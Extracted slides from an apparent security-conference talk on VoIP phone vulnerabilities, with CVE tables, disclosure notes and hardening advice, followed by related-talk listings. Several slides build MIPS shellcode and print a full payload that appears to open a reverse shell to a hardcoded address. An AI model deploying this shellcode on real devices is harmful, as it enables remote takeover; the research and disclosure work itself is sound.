addi $a0, $t7, -3
addi $a1, $t7, -3
…
Data Cache
…
addi $a0, $t7, 5
addi $a1, $t7, 5
…
Processor
Core
Solving Caching Problem
119
Trigger cache flush:
Call sleep syscall to trigger cache flush
Find, call cache flush (__clear_cache) function
Build shellcode avoiding bad char:
Use assembly instruction without 0 bytes and bad char bytes
Hardcoded encoded values, decode at runtime
MIPS Examples
120
Set a parameter value (to zero):
Semantic Mnemonic Assembly
$a0 = 2 li $a0, 2 x24x04x00x02
$t7 = 0 – 6 = -6
$t7 = not(-6) = 5
$a0 = $t7 – 3 = 5 - 3 = 2
addiu $t7, $zero, -6
not $t7, $t7
addi $a0, $t7, -3
x24x0fxffxfax01
xe0x78x27x21xe4
xffxfd
MIPS Examples
121
Set a parameter value (to zero):
Semantic Mnemonic Assembly
$a0 = 2 li $a0, 2 x24x04x00x02
$t7 = 0 – 6 = -6
$t7 = not(-6) = 5
$a0 = $t7 – 3 = 5 - 3 = 2
addiu $t7, $zero, -6
not $t7, $t7
addi $a0, $t7, -3
x24x0fxffxfax01
xe0x78x27x21xe4
xffxfd
Semantic Mnemonic Assembly
$a2 = 0 li $a2, 0 x24x04x00x00
$a2 = $t7 xor $t7 = 0 Xor $a2, $t7, $t7 x01xefx30x26
MIPS Examples
122
Handle “strings” and critical chars:
Semantic Mnemonic Assembly
$t7 = //bi lui $t7, 0x2f2f
ori $t7, $t7, 0x6269
x3cx0fx2fx2fx35
xefx62x69
$t4 = 0xb6b6fbf0
$t6 = 99999999
$t7 = $t4 xor $t6 = 0x2f2f6269 = //bi
li $t4, 0xb6b6fbf0
li $t6, 2576980377
xor $t7, $t4, $t6
x3cx0cxb6xb6x35
x8cxfbxf0x3cx0e
x99x99x35xcex99
x99x01x8ex78x26
Final Shellcode
123
x24x0fxffxfax01xe0x78x27x21xe4xff
xfdx21xe5xffxfdx01xefx30x26x24x02
x10x57x01x01x01x0cxafxa2xffxffx8f
xa4xffxffx34x0fxffxfdx01xe0x78x27
xafxafxffxe0x3cx0ex11x5cx35xcex11
x5cxafxaexffxe4x3cx0exc0xa8x35xce
x02x66xafxaexffxe6x27xa5xffxe2x24
x0cxffxefx01x80x30x27x24x02x10x4a
x01x01x01x0cx8fxa4xffxffx24x0fxff
xfax01xe0x78x27x21xe5xffxfbx24x02
x0fxdfx01x01x01x0cx21xe5xffxfcx24
x02x0fxdfx01x01x01x0cx21xe5xffxfd
x24x02x0fxdfx01x01x01x0cx01xefx30
x26x3cx0cxb6xb6x35x8cxfbxf0x3cx0e
x99x99x35xcex99x99x01x8ex78x26xaf
xafxffxecx3cx0ex6ex2fx35xcex73x68
xafxaexffxf0xafxa0xffxf4x27xa4xff
xecxafxa4xffxf8xafxa0xffxfcx27xa5
xffxf8x24x02x0fxabx01x01x01x0c
our shellcode
Assembly – Big Endian
124
Demo Time
Device Overview
Vendor Device FW Finding CVE
Alcatel-Lucent 8008 CE 1.50.03 CVE-2019-14259
Akuvox R50 50.0.6.156 CVE-2019-12324
CVE-2019-12326
CVE-2019-12327
Atcom A11W 2.6.1a2421 CVE-2019-12328
AudioCodes 405HD 2.2.12 CVE-2018-16220,
CVE-2018-16219
CVE-2018-16216
Auerswald COMfortel 2600 IP 2.8D
Auerswald COMfortel 1200 IP 3.4.4.1 CVE-2018-19977
CVE-2018-19978
Avaya J100 4.0.1
Cisco CP-7821 11.1.2
Digium D65 2.7.2
Fanvil X6 1.6.1
Gigaset Maxwell Basic 2.22.7 CVE-2018-18871
https://www.sit.fraunhofer.de/cve/
Vendor Device FW Finding CVE
Grandstream DP750 1.0.3.37
Htek UC902 2.6.1a2421 CVE-2019-12325
Huawei eSpace 7950 V200R003C
30SPCf00
CVE-2018-7958
CVE-2018-7959
CVE-2018-7960
Innovaphone IP222 V12r2sr16
Mitel 6865i 5.0.0.1018 RIP
Obihai 6.3.1.0 5.1.11 CVE-2019-14260
Panasonic KX-TGP600 06.001
Polycom VVX 301 5.8.0
Samsung SMT-i6010 1.62
Univy CP200 V1 R3.8.10
Yealink SIP-T41P 66.83.0.35 CVE-2018-16217
CVE-2018-16218
CVE-2018-16221
125
Vulnerability Overview
126
Real World
127
Recommendations for Users/Admins
128
Change default credentials
Update your VoIP phone
Disable servers (Web, SSH, Telnet, etc…) if possible and not needed
Network protection measures for phones
…
Recommendations for Developers
129
Process separation and isolation
Compile flags: ASLR, NX protection, Canaries, etc.
No hardcoded keys, and/or self-made crypto
No default credentials enforce change at first start
Convenient update mechanism
Lessons Learned?
1992
Linux OS, multi user
130
Lessons Learned?
1992
Linux OS, multi user
1996
“Smashing The Stack
For Fun And Profit“
131
Lessons Learned?
1992
Linux OS, multi user
1996
“Smashing The Stack
For Fun And Profit“
2000-2004
NX protection, ASLR
132
Lessons Learned?
1992
Linux OS, multi user
1996
“Smashing The Stack
For Fun And Profit“
2000-2004
NX protection, ASLR
2007
iPhone, all apps run as root
133
Lessons Learned?
1992
Linux OS, multi user
1996
“Smashing The Stack
For Fun And Profit“
2000-2004
NX protection, ASLR
2007
iPhone, all apps run as root
2010/2011
iOS 4 / Android 4 ASLR
134
Lessons Learned?
1992
Linux OS, multi user
1996
“Smashing The Stack
For Fun And Profit“
2000-2004
NX protection, ASLR
2007
iPhone, all apps run as root
2010/2011
iOS 4 / Android 4 ASLR
NÕW
Security in VoIP
135
Lessons Learned?
1992
Linux OS, multi user
1996
“Smashing The Stack
For Fun And Profit“
2000-2004
NX protection, ASLR
2007
iPhone, all apps run as root
2010/2011
iOS 4 / Android 4 ASLR
NÕW
Security in VoIP
136
137
Somthing went wrong
Responsible Disclosure
138
Informed all vendors, 90 days to fix the bugs
Reactions:
“Why investigating our poor phones”?
“We bought phone from other vendor, we cannot fix it”
“It’s not supported anymore”
“...” – “We are going to publish” – “We will fix immediately”
In the end, most vendors (2 did not react) fixed the vulnerabilities
Summary
139
Investigated 33 VoIP phones
Found 40 vulnerabilities and registered 16 CVEs
A lot of old technology is out there, new models getting better
Some vendors switch to Android, seems to be more robust but
new types of vulnerabilities Apps on your VoIP phone?
We don’t know what will be next after IoT, but there will be a root
process and memory corruption ;-)
140
141
Stephan Huber
Email: stephan.huber@sit.fraunhofer.de
Philipp Roskosch
Email: philipp.roskosch@sit.fraunhofer.de
Web: https://www.team-sik.org
Email: contact@team-sik.org
Findings: https://www.sit.fraunhofer.de/cve
Contact

More Related Content

What's hot

DEF CON 27 - MICHAEL LEIBOWITZ and TOPHER TIMZEN - edr is coming hide yo sht
DEF CON 27 - MICHAEL LEIBOWITZ and TOPHER TIMZEN - edr is coming hide yo shtDEF CON 27 - MICHAEL LEIBOWITZ and TOPHER TIMZEN - edr is coming hide yo sht
DEF CON 27 - MICHAEL LEIBOWITZ and TOPHER TIMZEN - edr is coming hide yo shtFelipe Prado
 
Defeating x64: Modern Trends of Kernel-Mode Rootkits
Defeating x64: Modern Trends of Kernel-Mode RootkitsDefeating x64: Modern Trends of Kernel-Mode Rootkits
Defeating x64: Modern Trends of Kernel-Mode RootkitsAlex Matrosov
 
U-boot and Android Verified Boot 2.0
U-boot and Android Verified Boot 2.0U-boot and Android Verified Boot 2.0
U-boot and Android Verified Boot 2.0GlobalLogic Ukraine
 
Reverse engineering Swisscom's Centro Grande Modem
Reverse engineering Swisscom's Centro Grande ModemReverse engineering Swisscom's Centro Grande Modem
Reverse engineering Swisscom's Centro Grande ModemCyber Security Alliance
 
Two Challenges of Stealthy Hypervisors Detection: Time Cheating and Data Fluc...
Two Challenges of Stealthy Hypervisors Detection: Time Cheating and Data Fluc...Two Challenges of Stealthy Hypervisors Detection: Time Cheating and Data Fluc...
Two Challenges of Stealthy Hypervisors Detection: Time Cheating and Data Fluc...Igor Korkin
 
Tegra 186のu-boot & Linux
Tegra 186のu-boot & LinuxTegra 186のu-boot & Linux
Tegra 186のu-boot & LinuxMr. Vengineer
 
44CON 2014 - Breaking AV Software
44CON 2014 - Breaking AV Software44CON 2014 - Breaking AV Software
44CON 2014 - Breaking AV Software44CON
 
HKG15-311: OP-TEE for Beginners and Porting Review
HKG15-311: OP-TEE for Beginners and Porting ReviewHKG15-311: OP-TEE for Beginners and Porting Review
HKG15-311: OP-TEE for Beginners and Porting ReviewLinaro
 
ARM Architecture and Meltdown/Spectre
ARM Architecture and Meltdown/SpectreARM Architecture and Meltdown/Spectre
ARM Architecture and Meltdown/SpectreGlobalLogic Ukraine
 
Android 2.3 Introduction
Android 2.3 IntroductionAndroid 2.3 Introduction
Android 2.3 IntroductionKan-Ru Chen
 
移植FreeRTOS 之嵌入式軟體研究與開發
移植FreeRTOS 之嵌入式軟體研究與開發移植FreeRTOS 之嵌入式軟體研究與開發
移植FreeRTOS 之嵌入式軟體研究與開發艾鍗科技
 
Lucas apa pacsec slides
Lucas apa pacsec slidesLucas apa pacsec slides
Lucas apa pacsec slidesPacSecJP
 
Hacking and Computer Forensics
Hacking and Computer ForensicsHacking and Computer Forensics
Hacking and Computer ForensicsKristian Arjianto
 
Secret of Intel Management Engine by Igor Skochinsky
Secret of Intel Management Engine  by Igor SkochinskySecret of Intel Management Engine  by Igor Skochinsky
Secret of Intel Management Engine by Igor SkochinskyCODE BLUE
 
How to Make Android's Bootable Recovery Work For You by Drew Suarez
How to Make Android's Bootable Recovery Work For You by Drew SuarezHow to Make Android's Bootable Recovery Work For You by Drew Suarez
How to Make Android's Bootable Recovery Work For You by Drew SuarezShakacon
 
Rafa Sánchez & Fran Gomez - IoCker - When IPv6 met malware [rooted2019]
Rafa Sánchez & Fran Gomez - IoCker - When IPv6 met malware [rooted2019]Rafa Sánchez & Fran Gomez - IoCker - When IPv6 met malware [rooted2019]
Rafa Sánchez & Fran Gomez - IoCker - When IPv6 met malware [rooted2019]RootedCON
 
Offline bruteforce attack on wi fi protected setup
Offline bruteforce attack on wi fi protected setupOffline bruteforce attack on wi fi protected setup
Offline bruteforce attack on wi fi protected setupCyber Security Alliance
 
Killing any security product … using a Mimikatz undocumented feature
Killing any security product … using a Mimikatz undocumented featureKilling any security product … using a Mimikatz undocumented feature
Killing any security product … using a Mimikatz undocumented featureCyber Security Alliance
 
Festi botnet analysis and investigation
Festi botnet analysis and investigationFesti botnet analysis and investigation
Festi botnet analysis and investigationAlex Matrosov
 

What's hot (20)

DEF CON 27 - MICHAEL LEIBOWITZ and TOPHER TIMZEN - edr is coming hide yo sht
DEF CON 27 - MICHAEL LEIBOWITZ and TOPHER TIMZEN - edr is coming hide yo shtDEF CON 27 - MICHAEL LEIBOWITZ and TOPHER TIMZEN - edr is coming hide yo sht
DEF CON 27 - MICHAEL LEIBOWITZ and TOPHER TIMZEN - edr is coming hide yo sht
 
Defeating x64: Modern Trends of Kernel-Mode Rootkits
Defeating x64: Modern Trends of Kernel-Mode RootkitsDefeating x64: Modern Trends of Kernel-Mode Rootkits
Defeating x64: Modern Trends of Kernel-Mode Rootkits
 
U-boot and Android Verified Boot 2.0
U-boot and Android Verified Boot 2.0U-boot and Android Verified Boot 2.0
U-boot and Android Verified Boot 2.0
 
Reverse engineering Swisscom's Centro Grande Modem
Reverse engineering Swisscom's Centro Grande ModemReverse engineering Swisscom's Centro Grande Modem
Reverse engineering Swisscom's Centro Grande Modem
 
Two Challenges of Stealthy Hypervisors Detection: Time Cheating and Data Fluc...
Two Challenges of Stealthy Hypervisors Detection: Time Cheating and Data Fluc...Two Challenges of Stealthy Hypervisors Detection: Time Cheating and Data Fluc...
Two Challenges of Stealthy Hypervisors Detection: Time Cheating and Data Fluc...
 
Tegra 186のu-boot & Linux
Tegra 186のu-boot & LinuxTegra 186のu-boot & Linux
Tegra 186のu-boot & Linux
 
44CON 2014 - Breaking AV Software
44CON 2014 - Breaking AV Software44CON 2014 - Breaking AV Software
44CON 2014 - Breaking AV Software
 
HKG15-311: OP-TEE for Beginners and Porting Review
HKG15-311: OP-TEE for Beginners and Porting ReviewHKG15-311: OP-TEE for Beginners and Porting Review
HKG15-311: OP-TEE for Beginners and Porting Review
 
ARM Architecture and Meltdown/Spectre
ARM Architecture and Meltdown/SpectreARM Architecture and Meltdown/Spectre
ARM Architecture and Meltdown/Spectre
 
Android 2.3 Introduction
Android 2.3 IntroductionAndroid 2.3 Introduction
Android 2.3 Introduction
 
移植FreeRTOS 之嵌入式軟體研究與開發
移植FreeRTOS 之嵌入式軟體研究與開發移植FreeRTOS 之嵌入式軟體研究與開發
移植FreeRTOS 之嵌入式軟體研究與開發
 
Lucas apa pacsec slides
Lucas apa pacsec slidesLucas apa pacsec slides
Lucas apa pacsec slides
 
Hacking and Computer Forensics
Hacking and Computer ForensicsHacking and Computer Forensics
Hacking and Computer Forensics
 
Secret of Intel Management Engine by Igor Skochinsky
Secret of Intel Management Engine  by Igor SkochinskySecret of Intel Management Engine  by Igor Skochinsky
Secret of Intel Management Engine by Igor Skochinsky
 
How to Make Android's Bootable Recovery Work For You by Drew Suarez
How to Make Android's Bootable Recovery Work For You by Drew SuarezHow to Make Android's Bootable Recovery Work For You by Drew Suarez
How to Make Android's Bootable Recovery Work For You by Drew Suarez
 
Rafa Sánchez & Fran Gomez - IoCker - When IPv6 met malware [rooted2019]
Rafa Sánchez & Fran Gomez - IoCker - When IPv6 met malware [rooted2019]Rafa Sánchez & Fran Gomez - IoCker - When IPv6 met malware [rooted2019]
Rafa Sánchez & Fran Gomez - IoCker - When IPv6 met malware [rooted2019]
 
Offline bruteforce attack on wi fi protected setup
Offline bruteforce attack on wi fi protected setupOffline bruteforce attack on wi fi protected setup
Offline bruteforce attack on wi fi protected setup
 
Killing any security product … using a Mimikatz undocumented feature
Killing any security product … using a Mimikatz undocumented featureKilling any security product … using a Mimikatz undocumented feature
Killing any security product … using a Mimikatz undocumented feature
 
Tapping into the core
Tapping into the coreTapping into the core
Tapping into the core
 
Festi botnet analysis and investigation
Festi botnet analysis and investigationFesti botnet analysis and investigation
Festi botnet analysis and investigation
 

Similar to Attacking VoIP Configuration Interfaces

OT Security - h-c0n 2020
OT Security - h-c0n 2020OT Security - h-c0n 2020
OT Security - h-c0n 2020Jose Palanco
 
DEF CON 27 - DANIEL ROMERO and MARIO RIVAS - why you should fear your mundane...
DEF CON 27 - DANIEL ROMERO and MARIO RIVAS - why you should fear your mundane...DEF CON 27 - DANIEL ROMERO and MARIO RIVAS - why you should fear your mundane...
DEF CON 27 - DANIEL ROMERO and MARIO RIVAS - why you should fear your mundane...Felipe Prado
 
Chromium Sandbox on Linux (BlackHoodie 2018)
Chromium Sandbox on Linux (BlackHoodie 2018)Chromium Sandbox on Linux (BlackHoodie 2018)
Chromium Sandbox on Linux (BlackHoodie 2018)Patricia Aas
 
Developing Applications for Beagle Bone Black, Raspberry Pi and SoC Single Bo...
Developing Applications for Beagle Bone Black, Raspberry Pi and SoC Single Bo...Developing Applications for Beagle Bone Black, Raspberry Pi and SoC Single Bo...
Developing Applications for Beagle Bone Black, Raspberry Pi and SoC Single Bo...ryancox
 
Embedded Linux BSP Training (Intro)
Embedded Linux BSP Training (Intro)Embedded Linux BSP Training (Intro)
Embedded Linux BSP Training (Intro)RuggedBoardGroup
 
Chromium Sandbox on Linux (NDC Security 2019)
Chromium Sandbox on Linux (NDC Security 2019)Chromium Sandbox on Linux (NDC Security 2019)
Chromium Sandbox on Linux (NDC Security 2019)Patricia Aas
 
44CON 2014 - Stupid PCIe Tricks, Joe Fitzpatrick
44CON 2014 - Stupid PCIe Tricks, Joe Fitzpatrick44CON 2014 - Stupid PCIe Tricks, Joe Fitzpatrick
44CON 2014 - Stupid PCIe Tricks, Joe Fitzpatrick44CON
 
Linux Security APIs and the Chromium Sandbox
Linux Security APIs and the Chromium SandboxLinux Security APIs and the Chromium Sandbox
Linux Security APIs and the Chromium SandboxPatricia Aas
 
BPF: Tracing and more
BPF: Tracing and moreBPF: Tracing and more
BPF: Tracing and moreBrendan Gregg
 
[2009 CodeEngn Conference 03] koheung - 윈도우 커널 악성코드에 대한 분석 및 방법
[2009 CodeEngn Conference 03] koheung - 윈도우 커널 악성코드에 대한 분석 및 방법[2009 CodeEngn Conference 03] koheung - 윈도우 커널 악성코드에 대한 분석 및 방법
[2009 CodeEngn Conference 03] koheung - 윈도우 커널 악성코드에 대한 분석 및 방법GangSeok Lee
 
Formbook - In-depth malware analysis (Botconf 2018)
Formbook - In-depth malware analysis (Botconf 2018)Formbook - In-depth malware analysis (Botconf 2018)
Formbook - In-depth malware analysis (Botconf 2018)Rémi Jullian
 
Mozilla chirimen firefox os dwika v5
Mozilla chirimen firefox os dwika v5Mozilla chirimen firefox os dwika v5
Mozilla chirimen firefox os dwika v5Dwika Sudrajat
 
PVS-Studio, a solution for resource intensive applications development
PVS-Studio, a solution for resource intensive applications developmentPVS-Studio, a solution for resource intensive applications development
PVS-Studio, a solution for resource intensive applications developmentOOO "Program Verification Systems"
 
Cooking security sans@night
Cooking security sans@nightCooking security sans@night
Cooking security sans@nightjtimberman
 
OpenNebulaConf2019 - Crytek: A Video gaming Edge Implementation "on the shoul...
OpenNebulaConf2019 - Crytek: A Video gaming Edge Implementation "on the shoul...OpenNebulaConf2019 - Crytek: A Video gaming Edge Implementation "on the shoul...
OpenNebulaConf2019 - Crytek: A Video gaming Edge Implementation "on the shoul...OpenNebula Project
 
OpenNebulaConf 2019 - Crytek: A Video gaming Edge Implementation "on the shou...
OpenNebulaConf 2019 - Crytek: A Video gaming Edge Implementation "on the shou...OpenNebulaConf 2019 - Crytek: A Video gaming Edge Implementation "on the shou...
OpenNebulaConf 2019 - Crytek: A Video gaming Edge Implementation "on the shou...Dmytro Korzhevin
 

Similar to Attacking VoIP Configuration Interfaces (20)

OT Security - h-c0n 2020
OT Security - h-c0n 2020OT Security - h-c0n 2020
OT Security - h-c0n 2020
 
DEF CON 27 - DANIEL ROMERO and MARIO RIVAS - why you should fear your mundane...
DEF CON 27 - DANIEL ROMERO and MARIO RIVAS - why you should fear your mundane...DEF CON 27 - DANIEL ROMERO and MARIO RIVAS - why you should fear your mundane...
DEF CON 27 - DANIEL ROMERO and MARIO RIVAS - why you should fear your mundane...
 
Chromium Sandbox on Linux (BlackHoodie 2018)
Chromium Sandbox on Linux (BlackHoodie 2018)Chromium Sandbox on Linux (BlackHoodie 2018)
Chromium Sandbox on Linux (BlackHoodie 2018)
 
Advances in Open Source Password Cracking
Advances in Open Source Password CrackingAdvances in Open Source Password Cracking
Advances in Open Source Password Cracking
 
Developing Applications for Beagle Bone Black, Raspberry Pi and SoC Single Bo...
Developing Applications for Beagle Bone Black, Raspberry Pi and SoC Single Bo...Developing Applications for Beagle Bone Black, Raspberry Pi and SoC Single Bo...
Developing Applications for Beagle Bone Black, Raspberry Pi and SoC Single Bo...
 
There is more to C
There is more to CThere is more to C
There is more to C
 
Embedded Linux BSP Training (Intro)
Embedded Linux BSP Training (Intro)Embedded Linux BSP Training (Intro)
Embedded Linux BSP Training (Intro)
 
Chromium Sandbox on Linux (NDC Security 2019)
Chromium Sandbox on Linux (NDC Security 2019)Chromium Sandbox on Linux (NDC Security 2019)
Chromium Sandbox on Linux (NDC Security 2019)
 
44CON 2014 - Stupid PCIe Tricks, Joe Fitzpatrick
44CON 2014 - Stupid PCIe Tricks, Joe Fitzpatrick44CON 2014 - Stupid PCIe Tricks, Joe Fitzpatrick
44CON 2014 - Stupid PCIe Tricks, Joe Fitzpatrick
 
Linux Security APIs and the Chromium Sandbox
Linux Security APIs and the Chromium SandboxLinux Security APIs and the Chromium Sandbox
Linux Security APIs and the Chromium Sandbox
 
ShinoBOT Suite
ShinoBOT SuiteShinoBOT Suite
ShinoBOT Suite
 
BPF: Tracing and more
BPF: Tracing and moreBPF: Tracing and more
BPF: Tracing and more
 
[2009 CodeEngn Conference 03] koheung - 윈도우 커널 악성코드에 대한 분석 및 방법
[2009 CodeEngn Conference 03] koheung - 윈도우 커널 악성코드에 대한 분석 및 방법[2009 CodeEngn Conference 03] koheung - 윈도우 커널 악성코드에 대한 분석 및 방법
[2009 CodeEngn Conference 03] koheung - 윈도우 커널 악성코드에 대한 분석 및 방법
 
Formbook - In-depth malware analysis (Botconf 2018)
Formbook - In-depth malware analysis (Botconf 2018)Formbook - In-depth malware analysis (Botconf 2018)
Formbook - In-depth malware analysis (Botconf 2018)
 
Intrusion Techniques
Intrusion TechniquesIntrusion Techniques
Intrusion Techniques
 
Mozilla chirimen firefox os dwika v5
Mozilla chirimen firefox os dwika v5Mozilla chirimen firefox os dwika v5
Mozilla chirimen firefox os dwika v5
 
PVS-Studio, a solution for resource intensive applications development
PVS-Studio, a solution for resource intensive applications developmentPVS-Studio, a solution for resource intensive applications development
PVS-Studio, a solution for resource intensive applications development
 
Cooking security sans@night
Cooking security sans@nightCooking security sans@night
Cooking security sans@night
 
OpenNebulaConf2019 - Crytek: A Video gaming Edge Implementation "on the shoul...
OpenNebulaConf2019 - Crytek: A Video gaming Edge Implementation "on the shoul...OpenNebulaConf2019 - Crytek: A Video gaming Edge Implementation "on the shoul...
OpenNebulaConf2019 - Crytek: A Video gaming Edge Implementation "on the shoul...
 
OpenNebulaConf 2019 - Crytek: A Video gaming Edge Implementation "on the shou...
OpenNebulaConf 2019 - Crytek: A Video gaming Edge Implementation "on the shou...OpenNebulaConf 2019 - Crytek: A Video gaming Edge Implementation "on the shou...
OpenNebulaConf 2019 - Crytek: A Video gaming Edge Implementation "on the shou...
 

More from Felipe Prado

DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directoryDEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directoryFelipe Prado
 
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...Felipe Prado
 
DEF CON 24 - Tamas Szakaly - help i got ants
DEF CON 24 - Tamas Szakaly - help i got antsDEF CON 24 - Tamas Szakaly - help i got ants
DEF CON 24 - Tamas Szakaly - help i got antsFelipe Prado
 
DEF CON 24 - Ladar Levison - compelled decryption
DEF CON 24 - Ladar Levison - compelled decryptionDEF CON 24 - Ladar Levison - compelled decryption
DEF CON 24 - Ladar Levison - compelled decryptionFelipe Prado
 
DEF CON 24 - Clarence Chio - machine duping 101
DEF CON 24 - Clarence Chio - machine duping 101DEF CON 24 - Clarence Chio - machine duping 101
DEF CON 24 - Clarence Chio - machine duping 101Felipe Prado
 
DEF CON 24 - Chris Rock - how to overthrow a government
DEF CON 24 - Chris Rock - how to overthrow a governmentDEF CON 24 - Chris Rock - how to overthrow a government
DEF CON 24 - Chris Rock - how to overthrow a governmentFelipe Prado
 
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardwareDEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardwareFelipe Prado
 
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...Felipe Prado
 
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustrationDEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustrationFelipe Prado
 
DEF CON 24 - Gorenc Sands - hacker machine interface
DEF CON 24 - Gorenc Sands - hacker machine interfaceDEF CON 24 - Gorenc Sands - hacker machine interface
DEF CON 24 - Gorenc Sands - hacker machine interfaceFelipe Prado
 
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionist
DEF CON 24 - Allan Cecil and DwangoAC -  tasbot the perfectionistDEF CON 24 - Allan Cecil and DwangoAC -  tasbot the perfectionist
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionistFelipe Prado
 
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locksDEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locksFelipe Prado
 
DEF CON 24 - Rich Mogull - pragmatic cloud security
DEF CON 24 - Rich Mogull - pragmatic cloud securityDEF CON 24 - Rich Mogull - pragmatic cloud security
DEF CON 24 - Rich Mogull - pragmatic cloud securityFelipe Prado
 
DEF CON 24 - Grant Bugher - Bypassing captive portals
DEF CON 24 - Grant Bugher - Bypassing captive portalsDEF CON 24 - Grant Bugher - Bypassing captive portals
DEF CON 24 - Grant Bugher - Bypassing captive portalsFelipe Prado
 
DEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Patrick Wardle - 99 problems little snitchDEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Patrick Wardle - 99 problems little snitchFelipe Prado
 
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...Felipe Prado
 
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucksDEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucksFelipe Prado
 
DEF CON 24 - Dinesh and Shetty - practical android application exploitation
DEF CON 24 - Dinesh and Shetty - practical android application exploitationDEF CON 24 - Dinesh and Shetty - practical android application exploitation
DEF CON 24 - Dinesh and Shetty - practical android application exploitationFelipe Prado
 
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vncDEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vncFelipe Prado
 
DEF CON 24 - Antonio Joseph - fuzzing android devices
DEF CON 24 - Antonio Joseph - fuzzing android devicesDEF CON 24 - Antonio Joseph - fuzzing android devices
DEF CON 24 - Antonio Joseph - fuzzing android devicesFelipe Prado
 

More from Felipe Prado (20)

DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directoryDEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
 
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
 
DEF CON 24 - Tamas Szakaly - help i got ants
DEF CON 24 - Tamas Szakaly - help i got antsDEF CON 24 - Tamas Szakaly - help i got ants
DEF CON 24 - Tamas Szakaly - help i got ants
 
DEF CON 24 - Ladar Levison - compelled decryption
DEF CON 24 - Ladar Levison - compelled decryptionDEF CON 24 - Ladar Levison - compelled decryption
DEF CON 24 - Ladar Levison - compelled decryption
 
DEF CON 24 - Clarence Chio - machine duping 101
DEF CON 24 - Clarence Chio - machine duping 101DEF CON 24 - Clarence Chio - machine duping 101
DEF CON 24 - Clarence Chio - machine duping 101
 
DEF CON 24 - Chris Rock - how to overthrow a government
DEF CON 24 - Chris Rock - how to overthrow a governmentDEF CON 24 - Chris Rock - how to overthrow a government
DEF CON 24 - Chris Rock - how to overthrow a government
 
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardwareDEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
 
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
 
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustrationDEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
 
DEF CON 24 - Gorenc Sands - hacker machine interface
DEF CON 24 - Gorenc Sands - hacker machine interfaceDEF CON 24 - Gorenc Sands - hacker machine interface
DEF CON 24 - Gorenc Sands - hacker machine interface
 
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionist
DEF CON 24 - Allan Cecil and DwangoAC -  tasbot the perfectionistDEF CON 24 - Allan Cecil and DwangoAC -  tasbot the perfectionist
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionist
 
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locksDEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
 
DEF CON 24 - Rich Mogull - pragmatic cloud security
DEF CON 24 - Rich Mogull - pragmatic cloud securityDEF CON 24 - Rich Mogull - pragmatic cloud security
DEF CON 24 - Rich Mogull - pragmatic cloud security
 
DEF CON 24 - Grant Bugher - Bypassing captive portals
